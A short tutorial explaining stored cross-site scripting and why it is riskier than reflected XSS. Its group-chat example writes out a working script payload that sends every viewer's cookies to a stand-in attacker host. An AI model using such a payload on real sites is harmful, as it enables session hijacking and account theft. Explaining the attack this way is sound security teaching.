Stored Cross Site Scripting

Description:

This Vulnerability is more serious than Reflected XSS.In this XSS Attack, an attacker submits a malicious XSS payload to the web application.The applcation without sanitizing or filtering the inputs strores it directly in its database. Now when any other user requests for the webpage,the malicious payload is rendered as a part of the response and XSS gets triggered.
This is also called second-order XSS,because first a malicious payload has to be crafted before being sent to the server and second it must be displayed to the other users for it to trigger.

EXAMPLE : Suppose you are on a group chat on a website, that is vulnerable to Stored XSS. If I enter the message, <script>document.location="http://www.my-fake-website.com/"+document.cookie;</script> and the server without performing any sanitization check on the input, stores it in the server and then displays it to others in the group, then I shall have access to each and everyone's cookie who saw my message.
Here my chances of actually getting someone's cookie is much more than that it was in the Reflected XSS, because here you don't have to convince someone to click on a link.

Further, if the user isn't logged in, then the payload will not return anything,in case of Reflected XSS.But in Stored XSS, users will already have been logged in resulting in a hit. This is what makes it much more dangerous than Reflected XSS.